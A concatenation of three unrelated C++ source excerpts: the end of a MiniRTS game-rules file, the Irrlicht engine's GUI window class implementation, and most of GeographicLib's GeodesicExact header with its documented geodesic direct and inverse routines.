_units[BASE] = _C(500, 500, 2, 0.0, 0, 0, 5, {0, 0, 0, 50}, vector<CmdType>{BUILD});
reg_engine();
reg_engine_specific();
reg_minirts_specific();
}
vector<pair<CmdBPtr, int> > GameDef::GetInitCmds(const RTSGameOptions&) const{
vector<pair<CmdBPtr, int> > init_cmds;
init_cmds.push_back(make_pair(CmdBPtr(new CmdGenerateMap(INVALID, 0, 200)), 1));
init_cmds.push_back(make_pair(CmdBPtr(new CmdGameStart(INVALID)), 2));
init_cmds.push_back(make_pair(CmdBPtr(new CmdGenerateUnit(INVALID)), 3));
return init_cmds;
}
PlayerId GameDef::CheckWinner(const GameEnv& env, bool /*exceeds_max_tick*/) const {
return env.CheckBase(BASE);
}
void GameDef::CmdOnDeadUnitImpl(GameEnv* env, CmdReceiver* receiver, UnitId /*_id*/, UnitId _target) const{
Unit *target = env->GetUnit(_target);
if (target == nullptr) return;
receiver->SendCmd(CmdIPtr(new CmdRemove(_target)));
}
/*
bool GameDef::ActByStateFunc(RuleActor rule_actor, const GameEnv& env, const vector<int>& state, string *s, AssignedCmds *cmds) const {
return rule_actor.ActByState(env, state, s, cmds);
}
*/
| 2,692 | 1,152 |
// Copyright (C) 2002-2009 Nikolaus Gebhardt
// This file is part of the "Irrlicht Engine".
// For conditions of distribution and use, see copyright notice in irrlicht.h
#include "CGUIWindow.h"
#ifdef _IRR_COMPILE_WITH_GUI_
#include "IGUISkin.h"
#include "IGUIEnvironment.h"
#include "IVideoDriver.h"
#include "IGUIButton.h"
#include "IGUIFont.h"
#include "IGUIFontBitmap.h"
namespace irr
{
namespace gui
{
//! constructor
CGUIWindow::CGUIWindow(IGUIEnvironment* environment, IGUIElement* parent, s32 id, core::rect<s32> rectangle)
: IGUIWindow(environment, parent, id, rectangle), Dragging(false), IsDraggable(true), DrawBackground(true), DrawTitlebar(true), IsActive(false)
{
#ifdef _DEBUG
setDebugName("CGUIWindow");
#endif
IGUISkin* skin = 0;
if (environment)
skin = environment->getSkin();
IGUISpriteBank* sprites = 0;
video::SColor color(255,255,255,255);
s32 buttonw = 15;
if (skin)
{
buttonw = skin->getSize(EGDS_WINDOW_BUTTON_WIDTH);
sprites = skin->getSpriteBank();
color = skin->getColor(EGDC_WINDOW_SYMBOL);
}
s32 posx = RelativeRect.getWidth() - buttonw - 4;
CloseButton = Environment->addButton(core::rect<s32>(posx, 3, posx + buttonw, 3 + buttonw), this, -1,
L"", skin ? skin->getDefaultText(EGDT_WINDOW_CLOSE) : L"Close" );
CloseButton->setSubElement(true);
CloseButton->setTabStop(false);
CloseButton->setAlignment(EGUIA_LOWERRIGHT, EGUIA_LOWERRIGHT, EGUIA_UPPERLEFT, EGUIA_UPPERLEFT);
if (sprites)
{
CloseButton->setSpriteBank(sprites);
CloseButton->setSprite(EGBS_BUTTON_UP, skin->getIcon(EGDI_WINDOW_CLOSE), color);
CloseButton->setSprite(EGBS_BUTTON_DOWN, skin->getIcon(EGDI_WINDOW_CLOSE), color);
}
posx -= buttonw + 2;
RestoreButton = Environment->addButton(core::rect<s32>(posx, 3, posx + buttonw, 3 + buttonw), this, -1,
L"", skin ? skin->getDefaultText(EGDT_WINDOW_RESTORE) : L"Restore" );
RestoreButton->setVisible(false);
RestoreButton->setSubElement(true);
RestoreButton->setTabStop(false);
RestoreButton->setAlignment(EGUIA_LOWERRIGHT, EGUIA_LOWERRIGHT, EGUIA_UPPERLEFT, EGUIA_UPPERLEFT);
if (sprites)
{
RestoreButton->setSpriteBank(sprites);
RestoreButton->setSprite(EGBS_BUTTON_UP, skin->getIcon(EGDI_WINDOW_RESTORE), color);
RestoreButton->setSprite(EGBS_BUTTON_DOWN, skin->getIcon(EGDI_WINDOW_RESTORE), color);
}
posx -= buttonw + 2;
MinButton = Environment->addButton(core::rect<s32>(posx, 3, posx + buttonw, 3 + buttonw), this, -1,
L"", skin ? skin->getDefaultText(EGDT_WINDOW_MINIMIZE) : L"Minimize" );
MinButton->setVisible(false);
MinButton->setSubElement(true);
MinButton->setTabStop(false);
MinButton->setAlignment(EGUIA_LOWERRIGHT, EGUIA_LOWERRIGHT, EGUIA_UPPERLEFT, EGUIA_UPPERLEFT);
if (sprites)
{
MinButton->setSpriteBank(sprites);
MinButton->setSprite(EGBS_BUTTON_UP, skin->getIcon(EGDI_WINDOW_MINIMIZE), color);
MinButton->setSprite(EGBS_BUTTON_DOWN, skin->getIcon(EGDI_WINDOW_MINIMIZE), color);
}
MinButton->grab();
RestoreButton->grab();
CloseButton->grab();
// this element is a tab group
setTabGroup(true);
setTabStop(true);
setTabOrder(-1);
updateClientRect();
}
//! destructor
CGUIWindow::~CGUIWindow()
{
if (MinButton)
MinButton->drop();
if (RestoreButton)
RestoreButton->drop();
if (CloseButton)
CloseButton->drop();
}
//! called if an event happened.
bool CGUIWindow::OnEvent(const SEvent& event)
{
if (IsEnabled)
{
switch(event.EventType)
{
case EET_GUI_EVENT:
if (event.GUIEvent.EventType == EGET_ELEMENT_FOCUS_LOST)
{
Dragging = false;
IsActive = false;
}
else
if (event.GUIEvent.EventType == EGET_ELEMENT_FOCUSED)
{
if (Parent && ((event.GUIEvent.Caller == this) || isMyChild(event.GUIEvent.Caller)))
{
Parent->bringToFront(this);
IsActive = true;
}
else
{
IsActive = false;
}
}
else
if (event.GUIEvent.EventType == EGET_BUTTON_CLICKED)
{
if (event.GUIEvent.Caller == CloseButton)
{
if (Parent)
{
// send close event to parent
SEvent e;
e.EventType = EET_GUI_EVENT;
e.GUIEvent.Caller = this;
e.GUIEvent.Element = 0;
e.GUIEvent.EventType = EGET_ELEMENT_CLOSED;
// if the event was not absorbed
if (!Parent->OnEvent(e))
remove();
return true;
}
else
{
remove();
return true;
}
}
}
break;
case EET_MOUSE_INPUT_EVENT:
switch(event.MouseInput.Event)
{
case EMIE_LMOUSE_PRESSED_DOWN:
DragStart.X = event.MouseInput.X;
DragStart.Y = event.MouseInput.Y;
Dragging = IsDraggable;
if (Parent)
Parent->bringToFront(this);
return true;
case EMIE_LMOUSE_LEFT_UP:
Dragging = false;
return true;
case EMIE_MOUSE_MOVED:
if (!event.MouseInput.isLeftPressed())
Dragging = false;
if (Dragging)
{
// gui window should not be dragged outside its parent
if (Parent &&
(event.MouseInput.X < Parent->getAbsolutePosition().UpperLeftCorner.X +1 ||
event.MouseInput.Y < Parent->getAbsolutePosition().UpperLeftCorner.Y +1 ||
event.MouseInput.X > Parent->getAbsolutePosition().LowerRightCorner.X -1 ||
event.MouseInput.Y > Parent->getAbsolutePosition().LowerRightCorner.Y -1))
return true;
move(core::position2d<s32>(event.MouseInput.X - DragStart.X, event.MouseInput.Y - DragStart.Y));
DragStart.X = event.MouseInput.X;
DragStart.Y = event.MouseInput.Y;
return true;
}
break;
default:
break;
}
default:
break;
}
}
return IGUIElement::OnEvent(event);
}
//! Updates the absolute position.
void CGUIWindow::updateAbsolutePosition()
{
IGUIElement::updateAbsolutePosition();
}
//! draws the element and its children
void CGUIWindow::draw()
{
if (IsVisible)
{
IGUISkin* skin = Environment->getSkin();
// update each time because the skin is allowed to change this always.
updateClientRect();
core::rect<s32> rect = AbsoluteRect;
// draw body fast
if (DrawBackground)
{
rect = skin->draw3DWindowBackground(this, DrawTitlebar,
skin->getColor(IsActive ? EGDC_ACTIVE_BORDER : EGDC_INACTIVE_BORDER),
AbsoluteRect, &AbsoluteClippingRect);
if (DrawTitlebar && Text.size())
{
rect.UpperLeftCorner.X += skin->getSize(EGDS_TITLEBARTEXT_DISTANCE_X);
rect.UpperLeftCorner.Y += skin->getSize(EGDS_TITLEBARTEXT_DISTANCE_Y);
rect.LowerRightCorner.X -= skin->getSize(EGDS_WINDOW_BUTTON_WIDTH) + 5;
IGUIFont* font = skin->getFont(EGDF_WINDOW);
if (font)
{
font->draw(Text.c_str(), rect,
skin->getColor(IsActive ? EGDC_ACTIVE_CAPTION:EGDC_INACTIVE_CAPTION),
false, true, &AbsoluteClippingRect);
}
}
}
}
IGUIElement::draw();
}
//! Returns pointer to the close button
IGUIButton* CGUIWindow::getCloseButton() const
{
return CloseButton;
}
//! Returns pointer to the minimize button
IGUIButton* CGUIWindow::getMinimizeButton() const
{
return MinButton;
}
//! Returns pointer to the maximize button
IGUIButton* CGUIWindow::getMaximizeButton() const
{
return RestoreButton;
}
//! Returns true if the window is draggable, false if not
bool CGUIWindow::isDraggable() const
{
return IsDraggable;
}
//! Sets whether the window is draggable
void CGUIWindow::setDraggable(bool draggable)
{
IsDraggable = draggable;
if (Dragging && !IsDraggable)
Dragging = false;
}
//! Set if the window background will be drawn
void CGUIWindow::setDrawBackground(bool draw)
{
DrawBackground = draw;
}
//! Get if the window background will be drawn
bool CGUIWindow::getDrawBackground() const
{
return DrawBackground;
}
//! Set if the window titlebar will be drawn
void CGUIWindow::setDrawTitlebar(bool draw)
{
DrawTitlebar = draw;
}
//! Get if the window titlebar will be drawn
bool CGUIWindow::getDrawTitlebar() const
{
return DrawTitlebar;
}
void CGUIWindow::updateClientRect()
{
if (! DrawBackground )
{
ClientRect = core::rect<s32>(0,0, AbsoluteRect.getWidth(), AbsoluteRect.getHeight());
return;
}
IGUISkin* skin = Environment->getSkin();
skin->draw3DWindowBackground(this, DrawTitlebar,
skin->getColor(IsActive ? EGDC_ACTIVE_BORDER : EGDC_INACTIVE_BORDER),
AbsoluteRect, &AbsoluteClippingRect, &ClientRect);
ClientRect -= AbsoluteRect.UpperLeftCorner;
}
//! Returns the rectangle of the drawable area (without border, without titlebar and without scrollbars)
core::rect<s32> CGUIWindow::getClientRect() const
{
return ClientRect;
}
//! Writes attributes of the element.
void CGUIWindow::serializeAttributes(io::IAttributes* out, io::SAttributeReadWriteOptions* options=0) const
{
IGUIWindow::serializeAttributes(out,options);
out->addBool("IsDraggable", IsDraggable);
out->addBool("DrawBackground", DrawBackground);
out->addBool("DrawTitlebar", DrawTitlebar);
// Currently we can't just serialize attributes of sub-elements.
// To do this we either
// a) allow further serialization after attribute serialiation (second function, callback or event)
// b) add an IGUIElement attribute
// c) extend the attribute system to allow attributes to have sub-attributes
// We just serialize the most important info for now until we can do one of the above solutions.
out->addBool("IsCloseVisible", CloseButton->isVisible());
out->addBool("IsMinVisible", MinButton->isVisible());
out->addBool("IsRestoreVisible", RestoreButton->isVisible());
}
//! Reads attributes of the element
void CGUIWindow::deserializeAttributes(io::IAttributes* in, io::SAttributeReadWriteOptions* options=0)
{
IGUIWindow::deserializeAttributes(in,options);
Dragging = false;
IsActive = false;
IsDraggable = in->getAttributeAsBool("IsDraggable");
DrawBackground = in->getAttributeAsBool("DrawBackground");
DrawTitlebar = in->getAttributeAsBool("DrawTitlebar");
CloseButton->setVisible(in->getAttributeAsBool("IsCloseVisible"));
MinButton->setVisible(in->getAttributeAsBool("IsMinVisible"));
RestoreButton->setVisible(in->getAttributeAsBool("IsRestoreVisible"));
updateClientRect();
}
} // end namespace gui
} // end namespace irr
#endif // _IRR_COMPILE_WITH_GUI_
| 10,074 | 4,067 |
/**
* \file GeodesicExact.hpp
* \brief Header for GeographicLib::GeodesicExact class
*
* Copyright (c) Charles Karney (2012-2013) <charles@karney.com> and licensed
* under the MIT/X11 License. For more information, see
* http://geographiclib.sourceforge.net/
**********************************************************************/
#if !defined(GEOGRAPHICLIB_GEODESICEXACT_HPP)
#define GEOGRAPHICLIB_GEODESICEXACT_HPP 1
#include <GeographicLib/Constants.hpp>
#include <GeographicLib/EllipticFunction.hpp>
#if !defined(GEOGRAPHICLIB_GEODESICEXACT_ORDER)
/**
* The order of the expansions used by GeodesicExact.
**********************************************************************/
# define GEOGRAPHICLIB_GEODESICEXACT_ORDER 30
#endif
namespace GeographicLib {
class GeodesicLineExact;
/**
* \brief Exact geodesic calculations
*
* The equations for geodesics on an ellipsoid can be expressed in terms of
* incomplete elliptic integrals. The Geodesic class expands these integrals
* in a series in the flattening \e f and this provides an accurate solution
* for \e f ∈ [-0.01, 0.01]. The GeodesicExact class computes the
* ellitpic integrals directly and so provides a solution which is valid for
* all \e f. However, in practice, its use should be limited to about \e
* b/\e a ∈ [0.01, 100] or \e f ∈ [-99, 0.99].
*
* For the WGS84 ellipsoid, these classes are 2--3 times \e slower than the
* series solution and 2--3 times \e less \e accurate (because it's less easy
* to control round-off errors with the elliptic integral formulation); i.e.,
* the error is about 40 nm (40 nanometers) instead of 15 nm. However the
* error in the series solution scales as <i>f</i><sup>7</sup> while the
* error in the elliptic integral solution depends weakly on \e f. If the
* quarter meridian distance is 10000 km and the ratio \e b/\e a = 1 −
* \e f is varied then the approximate maximum error (expressed as a
* distance) is <pre>
* 1 - f error (nm)
* 1/128 387
* 1/64 345
* 1/32 269
* 1/16 210
* 1/8 115
* 1/4 69
* 1/2 36
* 1 15
* 2 25
* 4 96
* 8 318
* 16 985
* 32 2352
* 64 6008
* 128 19024
* </pre>
*
* The computation of the area in these classes is via a 30th order series.
* This gives accurate results for \e b/\e a ∈ [1/2, 2]; the accuracy is
* about 8 decimal digits for \e b/\e a ∈ [1/4, 4].
*
* See \ref geodellip for the formulation. See the documentation on the
* Geodesic class for additional information on the geodesic problems.
*
* Example of use:
* \include example-GeodesicExact.cpp
*
* <a href="GeodSolve.1.html">GeodSolve</a> is a command-line utility
* providing access to the functionality of GeodesicExact and
* GeodesicLineExact (via the -E option).
**********************************************************************/
class GEOGRAPHICLIB_EXPORT GeodesicExact {
private:
typedef Math::real real;
friend class GeodesicLineExact;
static const int nC4_ = GEOGRAPHICLIB_GEODESICEXACT_ORDER;
static const int nC4x_ = (nC4_ * (nC4_ + 1)) / 2;
static const unsigned maxit1_ = 20;
static const unsigned maxit2_ = maxit1_ +
std::numeric_limits<real>::digits + 10;
static const real tiny_;
static const real tol0_;
static const real tol1_;
static const real tol2_;
static const real tolb_;
static const real xthresh_;
enum captype {
CAP_NONE = 0U,
CAP_E = 1U<<0,
// Skip 1U<<1 for compatibility with Geodesic (not required)
CAP_D = 1U<<2,
CAP_H = 1U<<3,
CAP_C4 = 1U<<4,
CAP_ALL = 0x1FU,
OUT_ALL = 0x7F80U,
};
static real CosSeries(real sinx, real cosx, const real c[], int n)
throw();
static inline real AngRound(real x) throw() {
// The makes the smallest gap in x = 1/16 - nextafter(1/16, 0) = 1/2^57
// for reals = 0.7 pm on the earth if x is an angle in degrees. (This
// is about 1000 times more resolution than we get with angles around 90
// degrees.) We use this to avoid having to deal with near singular
// cases when x is non-zero but tiny (e.g., 1.0e-200).
const real z = 1/real(16);
volatile real y = std::abs(x);
// The compiler mustn't "simplify" z - (z - y) to y
y = y < z ? z - (z - y) : y;
return x < 0 ? -y : y;
}
static inline void SinCosNorm(real& sinx, real& cosx) throw() {
real r = Math::hypot(sinx, cosx);
sinx /= r;
cosx /= r;
}
static real Astroid(real x, real y) throw();
real _a, _f, _f1, _e2, _ep2, _n, _b, _c2, _etol2;
real _C4x[nC4x_];
void Lengths(const EllipticFunction& E,
real sig12,
real ssig1, real csig1, real dn1,
real ssig2, real csig2, real dn2,
real cbet1, real cbet2,
real& s12s, real& m12a, real& m0,
bool scalep, real& M12, real& M21) const throw();
real InverseStart(EllipticFunction& E,
real sbet1, real cbet1, real dn1,
real sbet2, real cbet2, real dn2,
real lam12,
real& salp1, real& calp1,
real& salp2, real& calp2, real& dnm) const throw();
real Lambda12(real sbet1, real cbet1, real dn1,
real sbet2, real cbet2, real dn2,
real salp1, real calp1,
real& salp2, real& calp2, real& sig12,
real& ssig1, real& csig1, real& ssig2, real& csig2,
EllipticFunction& E,
real& omg12, bool diffp, real& dlam12)
const throw();
// These are Maxima generated functions to provide series approximations to
// the integrals for the area.
void C4coeff() throw();
void C4f(real k2, real c[]) const throw();
public:
/**
* Bit masks for what calculations to do. These masks do double duty.
* They signify to the GeodesicLineExact::GeodesicLineExact constructor and
* to GeodesicExact::Line what capabilities should be included in the
* GeodesicLineExact object. They also specify which results to return in
* the general routines GeodesicExact::GenDirect and
* GeodesicExact::GenInverse routines. GeodesicLineExact::mask is a
* duplication of this enum.
**********************************************************************/
enum mask {
/**
* No capabilities, no output.
* @hideinitializer
**********************************************************************/
NONE = 0U,
/**
* Calculate latitude \e lat2. (It's not necessary to include this as a
* capability to GeodesicLineExact because this is included by default.)
* @hideinitializer
**********************************************************************/
LATITUDE = 1U<<7 | CAP_NONE,
/**
* Calculate longitude \e lon2.
* @hideinitializer
**********************************************************************/
LONGITUDE = 1U<<8 | CAP_H,
/**
* Calculate azimuths \e azi1 and \e azi2. (It's not necessary to
* include this as a capability to GeodesicLineExact because this is
* included by default.)
* @hideinitializer
**********************************************************************/
AZIMUTH = 1U<<9 | CAP_NONE,
/**
* Calculate distance \e s12.
* @hideinitializer
**********************************************************************/
DISTANCE = 1U<<10 | CAP_E,
/**
* Allow distance \e s12 to be used as input in the direct geodesic
* problem.
* @hideinitializer
**********************************************************************/
DISTANCE_IN = 1U<<11 | CAP_E,
/**
* Calculate reduced length \e m12.
* @hideinitializer
**********************************************************************/
REDUCEDLENGTH = 1U<<12 | CAP_D,
/**
* Calculate geodesic scales \e M12 and \e M21.
* @hideinitializer
**********************************************************************/
GEODESICSCALE = 1U<<13 | CAP_D,
/**
* Calculate area \e S12.
* @hideinitializer
**********************************************************************/
AREA = 1U<<14 | CAP_C4,
/**
* All capabilities, calculate everything.
* @hideinitializer
**********************************************************************/
ALL = OUT_ALL| CAP_ALL,
};
/** \name Constructor
**********************************************************************/
///@{
/**
* Constructor for a ellipsoid with
*
* @param[in] a equatorial radius (meters).
* @param[in] f flattening of ellipsoid. Setting \e f = 0 gives a sphere.
* Negative \e f gives a prolate ellipsoid. If \e f > 1, set flattening
* to 1/\e f.
* @exception GeographicErr if \e a or (1 − \e f ) \e a is not
* positive.
**********************************************************************/
GeodesicExact(real a, real f);
///@}
/** \name Direct geodesic problem specified in terms of distance.
**********************************************************************/
///@{
/**
* Perform the direct geodesic calculation where the length of the geodesic
* is specified in terms of distance.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] azi1 azimuth at point 1 (degrees).
* @param[in] s12 distance between point 1 and point 2 (meters); it can be
* signed.
* @param[out] lat2 latitude of point 2 (degrees).
* @param[out] lon2 longitude of point 2 (degrees).
* @param[out] azi2 (forward) azimuth at point 2 (degrees).
* @param[out] m12 reduced length of geodesic (meters).
* @param[out] M12 geodesic scale of point 2 relative to point 1
* (dimensionless).
* @param[out] M21 geodesic scale of point 1 relative to point 2
* (dimensionless).
* @param[out] S12 area under the geodesic (meters<sup>2</sup>).
* @return \e a12 arc length of between point 1 and point 2 (degrees).
*
* \e lat1 should be in the range [−90°, 90°]; \e lon1 and \e
* azi1 should be in the range [−540°, 540°). The values of
* \e lon2 and \e azi2 returned are in the range [−180°,
* 180°).
*
* If either point is at a pole, the azimuth is defined by keeping the
* longitude fixed, writing \e lat = ±(90° − ε),
* and taking the limit ε → 0+. An arc length greater that
* 180° signifies a geodesic which is not a shortest path. (For a
* prolate ellipsoid, an additional condition is necessary for a shortest
* path: the longitudinal extent must not exceed of 180°.)
*
* The following functions are overloaded versions of GeodesicExact::Direct
* which omit some of the output parameters. Note, however, that the arc
* length is always computed and returned as the function value.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2, real& azi2,
real& m12, real& M12, real& M21, real& S12)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE | AZIMUTH |
REDUCEDLENGTH | GEODESICSCALE | AREA,
lat2, lon2, azi2, t, m12, M12, M21, S12);
}
/**
* See the documentation for GeodesicExact::Direct.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE,
lat2, lon2, t, t, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::Direct.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2, real& azi2)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE | AZIMUTH,
lat2, lon2, azi2, t, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::Direct.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2, real& azi2, real& m12)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE | AZIMUTH | REDUCEDLENGTH,
lat2, lon2, azi2, t, m12, t, t, t);
}
/**
* See the documentation for GeodesicExact::Direct.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2, real& azi2,
real& M12, real& M21)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE | AZIMUTH | GEODESICSCALE,
lat2, lon2, azi2, t, t, M12, M21, t);
}
/**
* See the documentation for GeodesicExact::Direct.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2, real& azi2,
real& m12, real& M12, real& M21)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE | AZIMUTH |
REDUCEDLENGTH | GEODESICSCALE,
lat2, lon2, azi2, t, m12, M12, M21, t);
}
///@}
/** \name Direct geodesic problem specified in terms of arc length.
**********************************************************************/
///@{
/**
* Perform the direct geodesic calculation where the length of the geodesic
* is specified in terms of arc length.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] azi1 azimuth at point 1 (degrees).
* @param[in] a12 arc length between point 1 and point 2 (degrees); it can
* be signed.
* @param[out] lat2 latitude of point 2 (degrees).
* @param[out] lon2 longitude of point 2 (degrees).
* @param[out] azi2 (forward) azimuth at point 2 (degrees).
* @param[out] s12 distance between point 1 and point 2 (meters).
* @param[out] m12 reduced length of geodesic (meters).
* @param[out] M12 geodesic scale of point 2 relative to point 1
* (dimensionless).
* @param[out] M21 geodesic scale of point 1 relative to point 2
* (dimensionless).
* @param[out] S12 area under the geodesic (meters<sup>2</sup>).
*
* \e lat1 should be in the range [−90°, 90°]; \e lon1 and \e
* azi1 should be in the range [−540°, 540°). The values of
* \e lon2 and \e azi2 returned are in the range [−180°,
* 180°).
*
* If either point is at a pole, the azimuth is defined by keeping the
* longitude fixed, writing \e lat = ±(90° − ε),
* and taking the limit ε → 0+. An arc length greater that
* 180° signifies a geodesic which is not a shortest path. (For a
* prolate ellipsoid, an additional condition is necessary for a shortest
* path: the longitudinal extent must not exceed of 180°.)
*
* The following functions are overloaded versions of GeodesicExact::Direct
* which omit some of the output parameters.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2, real& s12,
real& m12, real& M12, real& M21, real& S12)
const throw() {
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE | AZIMUTH | DISTANCE |
REDUCEDLENGTH | GEODESICSCALE | AREA,
lat2, lon2, azi2, s12, m12, M12, M21, S12);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2) const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE,
lat2, lon2, t, t, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2) const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE | AZIMUTH,
lat2, lon2, azi2, t, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2, real& s12)
const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE | AZIMUTH | DISTANCE,
lat2, lon2, azi2, s12, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2,
real& s12, real& m12) const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE | AZIMUTH | DISTANCE |
REDUCEDLENGTH,
lat2, lon2, azi2, s12, m12, t, t, t);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2, real& s12,
real& M12, real& M21) const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE | AZIMUTH | DISTANCE |
GEODESICSCALE,
lat2, lon2, azi2, s12, t, M12, M21, t);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2, real& s12,
real& m12, real& M12, real& M21) const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE | AZIMUTH | DISTANCE |
REDUCEDLENGTH | GEODESICSCALE,
lat2, lon2, azi2, s12, m12, M12, M21, t);
}
///@}
/** \name General version of the direct geodesic solution.
**********************************************************************/
///@{
/**
* The general direct geodesic calculation. GeodesicExact::Direct and
* GeodesicExact::ArcDirect are defined in terms of this function.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] azi1 azimuth at point 1 (degrees).
* @param[in] arcmode boolean flag determining the meaning of the second
* parameter.
* @param[in] s12_a12 if \e arcmode is false, this is the distance between
* point 1 and point 2 (meters); otherwise it is the arc length between
* point 1 and point 2 (degrees); it can be signed.
* @param[in] outmask a bitor'ed combination of GeodesicExact::mask values
* specifying which of the following parameters should be set.
* @param[out] lat2 latitude of point 2 (degrees).
* @param[out] lon2 longitude of point 2 (degrees).
* @param[out] azi2 (forward) azimuth at point 2 (degrees).
* @param[out] s12 distance between point 1 and point 2 (meters).
* @param[out] m12 reduced length of geodesic (meters).
* @param[out] M12 geodesic scale of point 2 relative to point 1
* (dimensionless).
* @param[out] M21 geodesic scale of point 1 relative to point 2
* (dimensionless).
* @param[out] S12 area under the geodesic (meters<sup>2</sup>).
* @return \e a12 arc length of between point 1 and point 2 (degrees).
*
* The GeodesicExact::mask values possible for \e outmask are
* - \e outmask |= GeodesicExact::LATITUDE for the latitude \e lat2;
* - \e outmask |= GeodesicExact::LONGITUDE for the latitude \e lon2;
* - \e outmask |= GeodesicExact::AZIMUTH for the latitude \e azi2;
* - \e outmask |= GeodesicExact::DISTANCE for the distance \e s12;
* - \e outmask |= GeodesicExact::REDUCEDLENGTH for the reduced length \e
* m12;
* - \e outmask |= GeodesicExact::GEODESICSCALE for the geodesic scales \e
* M12 and \e M21;
* - \e outmask |= GeodesicExact::AREA for the area \e S12;
* - \e outmask |= GeodesicExact::ALL for all of the above.
* .
* The function value \e a12 is always computed and returned and this
* equals \e s12_a12 is \e arcmode is true. If \e outmask includes
* GeodesicExact::DISTANCE and \e arcmode is false, then \e s12 = \e
* s12_a12. It is not necessary to include GeodesicExact::DISTANCE_IN in
* \e outmask; this is automatically included is \e arcmode is false.
**********************************************************************/
Math::real GenDirect(real lat1, real lon1, real azi1,
bool arcmode, real s12_a12, unsigned outmask,
real& lat2, real& lon2, real& azi2,
real& s12, real& m12, real& M12, real& M21,
real& S12) const throw();
///@}
/** \name Inverse geodesic problem.
**********************************************************************/
///@{
/**
* Perform the inverse geodesic calculation.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] lat2 latitude of point 2 (degrees).
* @param[in] lon2 longitude of point 2 (degrees).
* @param[out] s12 distance between point 1 and point 2 (meters).
* @param[out] azi1 azimuth at point 1 (degrees).
* @param[out] azi2 (forward) azimuth at point 2 (degrees).
* @param[out] m12 reduced length of geodesic (meters).
* @param[out] M12 geodesic scale of point 2 relative to point 1
* (dimensionless).
* @param[out] M21 geodesic scale of point 1 relative to point 2
* (dimensionless).
* @param[out] S12 area under the geodesic (meters<sup>2</sup>).
* @return \e a12 arc length of between point 1 and point 2 (degrees).
*
* \e lat1 and \e lat2 should be in the range [−90°, 90°]; \e
* lon1 and \e lon2 should be in the range [−540°, 540°).
* The values of \e azi1 and \e azi2 returned are in the range
* [−180°, 180°).
*
* If either point is at a pole, the azimuth is defined by keeping the
* longitude fixed, writing \e lat = ±(90° − ε),
* and taking the limit ε → 0+.
*
* The following functions are overloaded versions of GeodesicExact::Inverse
* which omit some of the output parameters. Note, however, that the arc
* length is always computed and returned as the function value.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12, real& azi1, real& azi2, real& m12,
real& M12, real& M21, real& S12) const throw() {
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE | AZIMUTH |
REDUCEDLENGTH | GEODESICSCALE | AREA,
s12, azi1, azi2, m12, M12, M21, S12);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12) const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE,
s12, t, t, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& azi1, real& azi2) const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
AZIMUTH,
t, azi1, azi2, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
